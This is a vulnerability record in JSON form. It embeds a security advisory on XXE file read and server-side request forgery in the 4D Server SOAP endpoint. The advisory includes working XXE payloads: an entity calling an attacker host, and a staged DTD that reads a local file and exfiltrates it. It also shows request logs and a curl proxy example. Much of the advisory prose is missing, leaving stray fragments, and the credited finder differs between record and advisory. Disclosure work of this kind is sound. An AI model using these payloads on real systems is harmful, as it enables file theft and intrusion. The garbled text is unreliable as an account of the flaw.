GCVE-1988-2026-0249

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "SCHUTZWERK-SA-2024-002 Arbitrary File",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "David Brown via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n\nSOAP\n===============================================================================================\n\n\nservices.\n\nMetadata\n========\n\n- - Affected product: 4D Server\n- - Affected version: v20 R3\n- - Vendor: 4D\n\n- - CVE ID: CVE-2024-39847\n- - CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-39847\n- - CVSS 4.0 score: 8.7\n- - Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/\n\nDetails\n=======\n\n\n4D Server.\n\n\n\n<!DOCTYPE foo [\n <!ENTITY % test SYSTEM \"http://attacker.tld\";>\n %test;\n]>\n\n\n\"Reject SOAP-Requests\" is set in the 4D Server GUI.\n\n\ncontrolled server, and can be demonstrated using the following payloads:\n\nStage 1: XML body sent to the /4DSOAP endpoint\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE foo [\n  <!ENTITY % stage1 SYSTEM \"http://192.168.56.1:2121/stage.dtd\";>\n  %stage1;\n]>\n\nStage 2: DTD file returned by http://192.168.56.1:2121/stage.dtd\n\n<!ENTITY % fileb SYSTEM \"file:///c:\\Users\\john.doe\\Desktop\\secret.txt\">\n<!ENTITY % eval \"<!ENTITY &#x25; exfiltrate SYSTEM '%fileb;'>\">\n%eval;\n%exfiltrate;\n\nServer response for the request sent to the /4DSOAP endpoint:\n\n<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n\n<SOAP-ENV:Body>\n        <SOAP-ENV:Fault>\n                <faultcode>SOAP-ENV:Client</faultcode>\n\n</faultstring>\n        </SOAP-ENV:Fault>\n</SOAP-ENV:Body>\n</SOAP-ENV:Envelope>\n\nRequests sent to the attacker controlled server (192.168.56.1:2121):\n\n192.168.56.114 - - \"GET /stage.dtd HTTP/1.1\" 200 -\n\n\n\n\n<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n\n<SOAP-ENV:Body>\n        <SOAP-ENV:Fault>\n                <faultcode>SOAP-ENV:Client</faultcode>\n\n- - http:/secret.tld/bar'\n</faultstring>\n        </SOAP-ENV:Fault>\n</SOAP-ENV:Body>\n</SOAP-ENV:Envelope>\n\n\nspecific SOAP functions accepting data tags.\n\n\nport 1337. Once started, files can be requested by issuing a GET request to\n\nhttp://127.0.0.1:1337/<target URI>\n\n\n\n$ curl '127.0.0.1:1337/http://192.168.56.114&apos;\n<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n\n<SOAP-ENV:Body>\n        <SOAP-ENV:Fault>\n                <faultcode>SOAP-ENV:Client</faultcode>\n\n\n<html>\n[...]\n      <td class=\"grayborder\">\n        <h2 align=\"center\">Welcome to your 4D Web Server default home\n          page!</h2>\n        <p align=\"center\">This is the <strong><b>4D Web Server</b></strong>\n\n          Application.</p>\n\n          home page.</p>\n        <p align=\"center\">Instructions for configuring your 4D Web\n          Server can be found in the included documentation.</p>\n\n          All rights reserved.</p>\n       </td>\n[...]\n</html>\n'\n</faultstring>\n</SOAP-ENV:Fault>\n</SOAP-ENV:Body>\n</SOAP-ENV:Envelope>\n\n\nperform \"proxied\" HTTP requests.\n\nRisk\n====\n\n\nhash.\n\nSolution/Mitigation\n===================\n\nUpdate to 4D Server 20 R7 or higher.\n\nTimeline\n========\n\n- - 2024-06-17 Vulnerability discovered\n- - 2024-06-24 Attempt to contact vendor, no response received\n- - 2024-06-25 CVE ID requested\n- - 2024-06-29 CVE-2024-39847 assigned\n- - 2024-07-04 Attempt to contact vendor again, no response received\n- - 2024-07-09 Attempt to contact vendor again, no response received\n- - 2024-07-16 Attempt to contact vendor again, no response received\n- - 2024-07-22 Attempt to contact vendor again, no response received\n- - 2026-04-29 Advisory published\n\nCredits\n=======\n\nThe vulnerability was discovered by Marcelo Reyes of SCHUTZWERK GmbH.\n\nFootnotes\n=========\n\n[0] https://4d.com\n[1] https://www.schutzwerk.com/blog/schutzwerk-sa-2024-002/4d-xxe.py\n[2] https://flask.palletsprojects.com/en/stable/\n-----BEGIN PGP SIGNATURE-----\n\niQJOBAEBCgA4FiEEgLsg7Oj/wY3LSF87GrXfkTIXLrsFAmnyGKIaHGFkdmlzb3Jp\nZXNAc2NodXR6d2Vyay5jb20ACgkQGrXfkTIXLrs6TQ//Vp4Ts1sg8wUOx5V46ttU\nOkErEUSrMqHDCrxiLKLsYoBBXyqPB+oKLzWFkMTUxbq+W7aqJIVG6EMeBsu1FCae\n0JfGA0MYYJ4s7WcphN/QqqU+e35r0NfPAzcKlr861ZNcwcy9vbg/WP+z1AlTfH9X\nMBKtv4Z2R1xpFq2sAJnwOw3E7Cl5g40PSsTJhI52/O7M4K5rB14EjFXW/hHgSFNz\nESUI+o/U1t7nPDulxfSsVmvbDTuvmxrs1xM/ulMYoKFKSueEglNCmF+5i/lFs7LF\nrM0PZLGCbMR9z2NOeEk+dGwCztXpY2KN1KvPWYt4flvxZzlnWFWCzrVog8QdDhbV\nCAfeLi+5krzgsZIPfphYpHc2BYJdAGsHDZx76GxoMNi8/miHX15+vg3N7SBPopOG\naIWnPJX0LCoecdzELJhzpOSYpzLTurRKnPU6y4sa/gJN4K99gCbE2HpPIJRaJmJG\nhk7iwTUA11ijiEWpKCWX3hE3dhxY9WgKKoKe/CtGZkaEoEa1ePTPUFWhiwORpSsa\nAV3i7YZOgjBiEj4ffBfy+Z/3fHhR7S3fWpFUhWeyb2jjx6OuJSG4g9az6Uze0hZG\nvYn40CIpG2sHlm1PzQBzMUopqjmaW+FMyLgv8XOsnfdqg7UqPJ0LKmNAtafO1tVo\nHH0qazSkyWNwZlaLr5YYUso=\n=MhKk\n-----END PGP SIGNATURE-----\n\n\n--\nSCHUTZWERK GmbH, Pfarrer-Weiß-Weg 12, 89077 Ulm, Germany\nZertifiziert / Certified ISO 27001, 9001 and TISAX\n\nPhone +49 731 977 191 0\n\nadvisories () schutzwerk com / www.schutzwerk.com\n\nGeschäftsführer / Managing Directors:\nJakob Pietzka, Michael Schäfer\n\nAmtsgericht Ulm /  HRB 727391\nDatenschutz / Data Protection www.schutzwerk.com/datenschutz\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/0"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/May/0"
        },
        {
          "url": "http://127.0.0.1:1337/"
        },
        {
          "url": "http://192.168.56.114&apos"
        },
        {
          "url": "http://192.168.56.1:2121/stage.dtd"
        },
        {
          "url": "http://192.168.56.1:2121/stage.dtd\""
        },
        {
          "url": "http://attacker.tld\""
        },
        {
          "url": "https://4d.com"
        },
        {
          "url": "https://flask.palletsprojects.com/en/stable/"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/CVERecord?id=CVE-2024-39847"
        },
        {
          "url": "https://www.schutzwerk.com/blog/schutzwerk-sa-2024-002/4d-xxe.py"
        },
        {
          "url": "https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-002/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/May/0"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SCHUTZWERK-SA-2024-002: Arbitrary File Read and Server Side Request Forgery via XML External Entities in 4D Server SOAP (CVE-2024-39847)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2024-39847",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0249",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/May/0",
            "automated": true,
            "contentSha256": "7acb3fb14dc45d336373174c37e25480ae13673627c91b3039f20ae86d2284d2",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/May/0",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-30T07:16:21Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:42Z",
    "dateUpdated": "2026-09-08T08:13:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0249"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}